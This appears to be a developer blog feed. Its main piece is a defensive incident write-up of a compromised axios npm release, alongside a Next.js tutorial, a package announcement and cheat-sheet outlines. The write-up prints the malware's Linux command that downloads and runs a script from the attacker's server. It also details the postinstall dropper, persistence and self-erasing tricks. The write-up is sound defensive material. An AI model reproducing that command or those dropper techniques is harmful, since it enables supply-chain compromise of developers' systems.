In other words — Mythos may have announced a new era, but the capability isn't exclusive to Mythos.

📊 The Numbers That Should Keep You Up at Night

From the CrowdStrike 2026 Global Threat Report, cited in the Mythos coverage:

Metric	2022	2026
Average time-to-exploit after disclosure	30 days	5 days
CVEs exploited on/before disclosure day	~5%	32.1%
Average attacker breakout time	~84 min	29 minutes
Fastest observed breakout	hours	27 seconds

And on the defense side:

Median organizational patch window: ~70 days (unchanged since 2022)
Organizations deploying critical patches within 30 days: dropped from 45% → 30%

Offense is accelerating. Defense isn't. That gap is what makes the Mythos announcement genuinely alarming — not the individual bugs, but the structural shift in who finds them, how fast, and at what cost.

🤔 What Should Developers Actually Do?

Practically speaking, from this week's news:

If you run OpenBSD:

# Apply the patch immediately if you haven't
syspatch
# Verify patch 025 is applied
syspatch -l

If you use FFmpeg:

# Update to 8.1+ immediately
# Check your package manager or build system
ffmpeg -version  # should show 8.1 or later

If you run FreeBSD with NFS:
The FreeBSD security advisory for CVE-2026-4747 is out — patch immediately. NFS exposed to untrusted networks is critical severity.

For everyone:

Shorten your patch cycles. The "patch in 70 days" culture is a liability.
Enable auto-updates for critical infrastructure where possible.
Treat CVE-tagged dependency updates as urgent, not scheduled maintenance.
Start thinking about AI-assisted vulnerability scanning as part of your SDLC — because your adversaries already are.

💬 The Bigger Question

Here's what I keep coming back to:

OpenBSD is arguably the most carefully audited open-source codebase in the world. Volunteer developers who read every line before it ships. The project that rewrites code from scratch rather than accept anything with an unacceptable license. The OS whose entire identity is "we take security seriously when nobody else does."

And there was a 27-year-old null pointer dereference in the TCP stack.

Not because the OpenBSD team is bad at their jobs. Because the bug required reasoning about the semantic interaction of two independent code conditions under adversarial integer arithmetic — a class of analysis that human reviewers are structurally bad at and fuzzers can't reach by brute force.

That's the actual shift. Not "AI is better than humans at security." It's "AI reasons differently than humans and fuzzers about code correctness — and that difference surfaces bugs that both approaches systematically miss."

The question isn't whether this changes security. It already has.

The question is: who gets to use it.

📚 Sources & Further Reading

Anthropic's Frontier Red Team blog post on Mythos — the full technical writeup
Project Glasswing announcement — the official coalition page
AISLE: AI Cybersecurity After Mythos — The Jagged Frontier — the most important counterpoint
OpenBSD 7.8 Errata — patch 025 — the actual patch confirming the fix
VentureBeat: Mythos and the New Detection Ceiling — operational implications for security teams

If this made you think differently about legacy codebases, about fuzzing's limits, or about what "security-hardened" actually means in 2026 — drop a ❤️ and share it. The security community needs to be having this conversation seriously, not just breathlessly.

And maybe go check when you last updated your FFmpeg dependency.

axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now

VIKAS — Wed, 01 Apr 2026 11:17:36 +0000

TL;DR — axios@1.14.1 and axios@0.30.4 were compromised on March 31, 2026. A hijacked maintainer account published malicious versions that silently install a Remote Access Trojan on macOS, Windows, and Linux — and self-destruct to avoid detection. If you ran npm install in the last 24 hours, check your system NOW.

The Package That Powers the Internet Just Got Weaponized

axios has over 100 million weekly downloads. It's in nearly every JavaScript project on the planet — startups, enterprises, open source foundations, CI pipelines, and developer laptops. On the morning of March 31, 2026, two versions of it became weapons.

This wasn't a theoretical supply chain vulnerability. It was a live, operational attack. A cross-platform Remote Access Trojan was delivered to real developer machines. And the most terrifying part? npm audit shows nothing. npm list reports a clean version number. The malware self-destructs after running.

This article walks you through exactly what happened, how the attack technically works, how to check if you're compromised, and what permanent changes you should make to your workflow.

What Happened — The Attack Timeline

The operation was pre-staged 18 hours in advance. This was not opportunistic. Every artifact was purpose-built.

Timestamp (UTC)	Event
Mar 30 · 05:57	`plain-crypto-js@4.2.0` published — a clean decoy to establish publishing history
Mar 30 · 23:59	`plain-crypto-js@4.2.1` published — the malicious payload added
Mar 31 · 00:21	`axios@1.14.1` published via hijacked `jasonsaayman` account
Mar 31 · 01:00	`axios@0.30.4` published — legacy 0.x branch also poisoned
Mar 31 · ~03:15	npm unpublishes both malicious versions. `latest` reverts to `1.14.0`
Mar 31 · 03:25	npm initiates security hold on `plain-crypto-js`
Mar 31 · 04:26	npm publishes security-holder stub `plain-crypto-js@0.0.1-security.0`

Both poisoned releases were live for less than 3 hours. But 3 hours is more than enough time with 100M weekly downloads.

Step 1 — Account Hijack: The Entry Point

The attacker compromised the jasonsaayman npm account — the primary maintainer of axios. The account's registered email was changed to an attacker-controlled ProtonMail address: ifstap@proton.me.

Here's what makes this forensically detectable. Every legitimate axios 1.x release uses npm's OIDC Trusted Publisher mechanism — cryptographically tied to a verified GitHub Actions workflow. The malicious 1.14.1 breaks that pattern entirely:

// axios@1.14.0 — LEGITIMATE
"_npmUser": {
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}

// axios@1.14.1 — MALICIOUS
"_npmUser": {
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
  // No trustedPublisher. No gitHead. No corresponding GitHub commit or tag.
}

There is no commit, no tag, no release in the axios GitHub repository corresponding to 1.14.1. The release exists only on npm. The attacker used a stolen long-lived classic npm access token — not the ephemeral OIDC token used by legitimate CI releases.

Step 2 — The Fake Dependency: `plain-crypto-js@4.2.1`

The actual malware was not inside axios. It was delivered through a phantom dependency.

The attacker added plain-crypto-js: "^4.2.1" to axios's package.json. This package — which never appears in any legitimate axios version — masquerades as the well-known crypto-js library. It clones all 56 source files bit-for-bit from the real crypto-js@4.2.0, making diff-based analysis find nothing suspicious.

The entire difference between the decoy (4.2.0) and the weapon (4.2.1) is three files:

File	In 4.2.0	In 4.2.1
`package.json`	No `scripts` section	`"postinstall": "node setup.js"` added
`setup.js`	Not present	4.2 KB obfuscated RAT dropper
`package.md`	Not present	Clean JSON stub for evidence destruction

The dependency injection diff in axios is equally surgical — exactly one file changed between 1.14.0 and 1.14.1:

# axios/package.json
- "version": "1.14.0",
+ "version": "1.14.1",
  "dependencies": {
    "follow-redirects": "^2.1.0",
    "form-data": "^4.0.1",
    "proxy-from-env": "^2.0.0",
+   "plain-crypto-js": "^4.2.1"
  }

A grep across all 86 files in axios@1.14.1 confirms: plain-crypto-js is never imported or required anywhere in the axios source. Its only purpose is to trigger the postinstall hook.

Step 3 — The RAT Dropper: `setup.js`

setup.js is a minified, obfuscated Node.js file. All sensitive strings — module names, OS identifiers, the C2 URL, shell commands — are stored encoded in an array and decoded at runtime using a two-layer scheme: a XOR cipher followed by base64 decode with string reversal.

Once decoded, the dropper's logic is straightforward and terrifying.

The C2 Server

http://sfrclak.com:8000/6202033

The 6202033 is a campaign tracking ID. The attacker receives separate callbacks per OS using distinct POST bodies:

macOS → packages.npm.org/product0
Windows → packages.npm.org/product1
Linux → packages.npm.org/product2

The packages.npm.org/ prefix is deliberate — it mimics legitimate npm registry traffic in network logs and SIEMs.

Platform-Specific Payloads

macOS — Writes an AppleScript to /tmp/6202033, executes it via nohup osascript, which downloads the RAT binary to /Library/Caches/com.apple.act.mond (named to mimic an Apple system daemon), makes it executable, and launches it via /bin/zsh. The script self-deletes.

Windows — Locates PowerShell via where powershell, copies it to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), writes a VBScript to temp, executes it via cscript //nologo in a hidden window. The VBScript fetches a PowerShell stage-2 payload and self-deletes. %PROGRAMDATA%\wt.exe persists across reinstalls — this is the Windows persistence mechanism.

Linux — Direct curl + Python chain:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
  && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

The Execution Speed

The C2 contact happens 2 seconds into npm install — before npm has finished resolving all dependencies. The nohup process then persists as a detached daemon (re-parented to PID 1) that continues running in subsequent workflow steps, long after npm completes.

Anti-Forensics: The Evidence Swap

After launching the platform payload, setup.js performs three cleanup steps:

Deletes itself — fs.unlink(__filename)
Deletes package.json — removes the file containing "postinstall": "node setup.js"
Renames package.md → package.json — installs the pre-staged clean stub

The clean stub reports version 4.2.0 — not 4.2.1. So after infection:

$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0   # ← reports 4.2.0, not 4.2.1. The dropper already ran.

Post-infection, npm audit is clean. npm list looks clean. The only forensic artifact is the existence of the node_modules/plain-crypto-js/ directory — because this package is not a dependency of any legitimate axios version. Its presence alone is proof of compromise.

Am I Affected? — Check Right Now

Run these commands in every project that uses axios:

Step 1 — Check for malicious axios versions

npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"

Step 2 — Check for the dropper directory

ls node_modules/plain-crypto-js 2>/dev/null && echo "⚠️  POTENTIALLY COMPROMISED"

If this directory exists at all, the dropper ran. The version number inside is unreliable — it was replaced with a clean stub.

Step 3 — Check for RAT artifacts

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "🚨 COMPROMISED"

# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "🚨 COMPROMISED"

# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED

Step 4 — Check your CI/CD history

Review any pipeline logs for npm install runs between March 31 00:21 UTC and March 31 03:15 UTC. Any pipeline that installed axios@1.14.1 or axios@0.30.4 should be treated as compromised and all injected secrets rotated immediately.

Remediation — Step by Step

1. Downgrade to a safe version and pin it

# For 1.x users
npm install axios@1.14.0

# For 0.x users
npm install axios@0.30.3

2. Lock it with overrides to prevent transitive re-resolution

{
  "dependencies": { "axios": "1.14.0" },
  "overrides":    { "axios": "1.14.0" },
  "resolutions":  { "axios": "1.14.0" }
}

3. Remove the malicious package and reinstall clean

rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts

4. If RAT artifacts found — treat as full system compromise

Do not attempt to clean in place. Rebuild from a known-good state and rotate all credentials that were accessible on that system:

npm tokens
AWS / GCP / Azure access keys
SSH private keys
GitHub personal access tokens
All .env file secrets
CI/CD pipeline secrets

5. Block the C2 domain at the network level

# Linux — firewall block
iptables -A OUTPUT -d 142.11.206.73 -j DROP

# macOS/Linux — hosts file block
echo "0.0.0.0 sfrclak.com" >> /etc/hosts

Indicators of Compromise (IOCs)

Malicious npm Packages

Package	Version	SHA
axios	1.14.1	`2553649f232204966871cea80a5d0d6adc700ca`
axios	0.30.4	`d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71`
plain-crypto-js	4.2.1	`07d889e2dadce6f3910dcbc253317d28ca61c766`

Network IOCs

Indicator	Value
C2 domain	`sfrclak.com`
C2 IP	`142.11.206.73`
C2 URL	`http://sfrclak.com:8000/6202033`

File System IOCs

Platform	Path
macOS	`/Library/Caches/com.apple.act.mond`
Windows (persistent)	`%PROGRAMDATA%\wt.exe`
Windows (temp)	`%TEMP%\6202033.vbs`, `%TEMP%\6202033.ps1`
Linux	`/tmp/ld.py`

Safe Versions

Package	Safe Version	SHA
axios	1.14.0	`7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb`
axios	0.30.3	(safe baseline)

What This Attack Teaches Us About Supply Chain Security

This incident is not just an axios story. It's a blueprint that will be reused.

The threat model has fundamentally shifted

The attacker didn't touch your code. They didn't exploit your application. They compromised a package your app trusts unconditionally. Every npm install is an implicit trust decision — and most teams make that decision dozens of times a day without thinking about it.

`npm audit` is not enough

npm audit checks for known CVEs in declared dependencies. It cannot detect a phantom dependency injected at the registry level, especially one that self-destructs its own evidence. Audit gives you a false sense of security for this class of attack.

`postinstall` hooks are the attack surface

The entire kill chain relies on one mechanism: postinstall scripts. npm executes these automatically during npm install. They run with the same permissions as the process that invoked npm — which on a developer machine often means full user-level access to credentials, SSH keys, and cloud tokens.

The permanent fix: `--ignore-scripts` in CI

# In your CI pipeline — add this permanently
npm ci --ignore-scripts

This prevents ALL postinstall, preinstall, and lifecycle scripts from running during automated builds. For most production CI pipelines, you don't need these hooks — and disabling them eliminates the entire attack surface this incident exploited.

Trade-off: Some packages (native modules, Puppeteer, etc.) require postinstall scripts. Audit your dependencies and re-enable specific ones if required.

Prefer OIDC Trusted Publishing over long-lived tokens

The attacker used a stolen long-lived npm access token. The legitimate axios releases used OIDC ephemeral tokens tied to specific GitHub Actions workflows — tokens that cannot be stolen because they expire after a single use.

If you publish packages to npm, configure Trusted Publishing. It makes this exact attack vector impossible.

Lock your dependencies — actually lock them

# Commit your lockfile. Always.
git add package-lock.json
git commit -m "chore: update lockfile"

# Use npm ci in production, not npm install
npm ci  # Respects lockfile exactly. No surprise resolutions.

npm install can resolve to a newer patch version if your semver range allows it. npm ci installs exactly what's in the lockfile. The malicious axios@1.14.1 would have been caught by a lockfile that pinned 1.14.0.

The Broader Picture: This Is Becoming Normal

This is among the most operationally sophisticated supply chain attacks documented against a top-10 npm package. Three OS payloads pre-built. A decoy package published 18 hours early to establish publishing history. A version number spoofing trick in the self-destruct routine. C2 traffic disguised as npm registry communication.

But the playbook itself is not new. We've seen it in event-stream (2018), ua-parser-js (2021), node-ipc (2022), and now axios (2026). Each attack is more sophisticated than the last.

The JavaScript ecosystem's open publishing model is its greatest strength and its greatest liability. Anyone can publish. Maintainers burn out and sell or lose access to their accounts. A package with 100 million weekly downloads can be weaponized in minutes.

The question isn't whether this will happen again. It's whether your team will be ready when it does.

Quick Reference Checklist

□ Checked npm list for axios@1.14.1 and axios@0.30.4
□ Checked for node_modules/plain-crypto-js/ directory
□ Checked for platform-specific RAT artifacts
□ Downgraded to axios@1.14.0 / 0.30.3
□ Added "overrides" block to package.json
□ Removed plain-crypto-js from node_modules
□ Reviewed CI/CD pipeline logs for affected time window
□ Rotated all credentials if dropper ran
□ Added --ignore-scripts to CI pipeline
□ Committed and locked package-lock.json
□ Blocked sfrclak.com at network/DNS level

Resources

Verified and sourced from the official StepSecurity technical analysis published March 31, 2026, and the axios GitHub issue #10604. All IOCs, SHA hashes, timestamps, and code snippets are drawn directly from the primary source investigation.

If this helped you secure your systems, drop a ❤️ and share it with your team. The faster this spreads, the more developers stay protected.

The Only Next.js Beginner Guide You Actually Need

VIKAS — Mon, 16 Mar 2026 11:01:08 +0000

The Practical Guide to Understanding Next.js Fast⚡

If you're starting with Next.js, you’ll hear many terms thrown around:

SSR
SSG
CSR
App Router
Pages Router
Server Components
API Routes

It sounds complicated.

But the truth is: Next.js becomes simple once you understand a few core ideas.

This guide focuses on the 80/20 fundamentals you actually need to start building real apps.

1. What Next.js Actually Is

At its core:

Next.js = React + Backend + Routing + Performance

React alone helps you build UI components.

Next.js adds:

File-based routing
Server rendering
Built-in APIs
Performance optimizations
Full-stack capabilities

Which means you can build entire applications in one framework.

2. Creating a Next.js App

The easiest way to start:

npx create-next-app@latest my-next-app
cd my-next-app
npm run dev

Now open:

http://localhost:3000

You now have a running Next.js application.

3. Next.js Project Structure

Modern Next.js uses the App Router.

Typical structure:

app/
  layout.js
  page.js
  blog/
    page.js

components/
lib/
public/

Key idea:

Folders = Routes
page.js = UI of the route

Example:

app/about/page.js

Automatically becomes:

/about

No router setup required.

4. Pages Router vs App Router

Next.js currently supports two routing systems.

Pages Router (Older System)

Structure:

pages/
  index.js
  about.js

Route mapping:

pages/index.js → /
pages/about.js → /about

This system introduced functions like:

getServerSideProps
getStaticProps

It still works but App Router is now the recommended approach.

App Router (Modern System)

Introduced in Next.js 13+.

Structure:

app/
  page.js
  blog/
    page.js

Advantages:

Server Components
Better data fetching
Layout system
Streaming
Improved performance

For new projects, always prefer App Router.

5. Rendering Strategies in Next.js

One of the most important things to understand in Next.js is how pages render.

There are three main strategies.

6. CSR — Client Side Rendering

This is the traditional React approach.

The browser loads JavaScript first, then renders the UI.

Example:

"use client"
import { useEffect, useState } from "react"

export default function Users() {
  const [users, setUsers] = useState([])

  useEffect(() => {
    fetch("/api/users")
      .then(res => res.json())
      .then(setUsers)
  }, [])

  return <div>{users.length} users</div>
}

Flow:

Browser loads page
↓
JavaScript executes
↓
Data fetched
↓
UI renders

Downside:

slower first load
weaker SEO

7. SSR — Server Side Rendering

With SSR, the server generates the HTML first.

The browser receives a fully rendered page.

Flow:

Request page
↓
Server fetches data
↓
Server renders HTML
↓
Browser receives ready page

Benefits:

better SEO
faster initial render
fresh data per request

Example (Pages Router):

export async function getServerSideProps() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return { props: { posts } }
}

8. SSG — Static Site Generation

SSG generates pages during build time.

Flow:

Project build
↓
Data fetched once
↓
HTML generated
↓
Served instantly to users

Perfect for:

blogs
documentation
marketing pages

Example (Pages Router):

export async function getStaticProps() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return {
    props: { posts }
  }
}

9. Data Fetching in the App Router

The App Router simplifies data fetching dramatically.

You can fetch data directly inside components.

Example:

export default async function Page() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return <div>{posts.length} posts</div>
}

Because this runs on the server automatically, no special functions are needed.

10. Server Components vs Client Components

By default, App Router components are Server Components.

That means they run on the server.

Benefits:

smaller bundle size
better performance
secure data fetching

But if you need interactivity, you must use a Client Component.

Example:

"use client"
import { useState } from "react"

export default function Counter() {
  const [count, setCount] = useState(0)

  return (
    <button onClick={() => setCount(count + 1)}>
      {count}
    </button>
  )
}

Simple rule:

Server Components → data fetching
Client Components → interactivity

11. API Routes (Built-in Backend)

Next.js can also create backend endpoints.

Example file:

app/api/users/route.js

Code:

export async function GET() {
  return Response.json({ users: [] })
}

Your API endpoint becomes:

/api/users

This means you can build frontend + backend in the same project.

12. The Mental Model

Once you understand this, Next.js becomes much easier.

Next.js = React + Server

Rendering strategies:

CSR → rendered in browser
SSR → rendered on server per request
SSG → rendered at build time

Routing systems:

Pages Router → older system
App Router → modern system

Final Thoughts

Next.js is no longer just a React framework.

It's becoming a complete full-stack platform.

Once you understand:

Routing
Rendering strategies
Server vs Client components
Data fetching
API routes

You can start building production-ready applications quickly.

Focus on these first when learning Next.js:

App Router
Server Components
Data Fetching
API Routes
Deployment

Everything else builds on top of these.

If you're currently learning Next.js, this foundation will take you much further than memorizing random tutorials.

Holi Overlay — Add Vibrant Holi Celebration Effects to Any Website

VIKAS — Tue, 03 Mar 2026 18:01:52 +0000

🎉 Holi Overlay — Bring Your Website Alive With Festive Colors! 🌈

A JavaScript overlay that brings colorful Holi effects — water balloons, pichkaari streams, ambient gradients — to your web project in one line of code!

I just shipped a fun, customizable Holi festival overlay that you can drop into any website in seconds!

👉 Live Demo
📦 npm Package
💻 Source Code

🚀 What Is Holi Overlay?

Holi Overlay is a lightweight, zero-dependency animation library that renders a full-screen Holi celebration on your site — complete with vibrant water balloons, pichkaari color streams, and realistic splash particles. It's perfect for:

🎊 Festive pages

🎁 Seasonal campaigns

🎯 Interactive celebrations

🎨 Colorful UI experiences

All of this runs without blocking interactions — users can still click and scroll while the effects play!

🧩 What's Inside the Overlay

Once active, Holi Overlay gives you:

💦 Water balloons flying & bursting with splash physics
🌈 Pichkaari color trails with particle streams
✨ Ambient gradients & powder clouds
🧘‍♂️ Non-interactive canvas overlay (pointer-events: none)

📦 Installation

🛠️ Via npm

npm install holi-overlay

// In your JavaScript
import HoliOverlay from 'holi-overlay';

// Start the overlay
HoliOverlay.start({
  maxBalloons: 15,
  opacity: 0.95
});

// Toggle on/off
HoliOverlay.toggle();

// Check status
if (HoliOverlay.isRunning()) {
  console.log('🎨 Holi mode active!');
}

📌 CDN (No Build Tools Needed)

Simply inject 2 lines before </body>:

<script src="https://cdn.jsdelivr.net/npm/holi-overlay@latest/dist/holi-overlay.umd.js"></script>
<script>HoliOverlay.start();</script>

#webdev #javascript #opensource #npm #overlay #animation #canvas #css #html

DEV Community: VIKAS

JavaScript Cheat Sheet 2026: Learn Once, Remember Forever (ES2026)

Table of Contents

1. How JavaScript runs

2. Variables, scope and hoisting

3. Data types

Value vs reference

Copying objects

Number gotchas

4. Coercion and equality

Falsy values (there are exactly 8)

Classic coercion results

5. Operators worth knowing

6. Strings, numbers and Math

Strings (immutable)

Numbers and Math

7. Control flow and loops

8. Functions and this

Ways to write a function

Parameters

Arrow functions vs regular functions

What is this? (4 rules, in priority order)

Handy patterns

9. Closures

The classic loop bug

Debounce and throttle

10. Objects

Destructuring and spread

Essential Object methods

11. Arrays

Mutating vs non-mutating (memorize this)

Everyday methods

Sorting

Immutable updates

Real-world pipeline

12. Map, Set, WeakMap, WeakSet

Map vs plain object

Set (unique values)

WeakMap and WeakSet

13. Prototypes and classes

The prototype chain

Classes

14. Modules

15. Asynchronous JavaScript

The event loop (the one diagram to memorize)

Promises

async / await

Sequential vs parallel (huge performance difference)

Common async mistakes

Cancel, timeout, retry

Async iteration

fetch cheat

16. Error handling

Custom errors and cause

17. Iterators and generators

Iterator helpers (ES2025)

18. JSON, dates and Intl

JSON

Dates

Intl (formatting without libraries)

19. Regular expressions

20. Browser essentials (DOM and Web APIs)

Select and change the DOM

Events

Storage and other APIs

21. Performance and memory

Garbage collection and leaks

22. Security basics

23. ES2015 to ES2026 at a glance

Gotchas that bite everyone

Predict the Output

Interview Rapid Fire

27. Official resources

Final tip

React Cheat Sheet 2026: Learn Once, Remember Forever (React 19.2)

Table of Contents

1. JavaScript you need first

2. Setup and project structure

3. How React thinks

4. JSX rules

What is `this`? (4 rules, in priority order)

Essential `Object` methods

Custom errors and `cause`

Reset state with `key`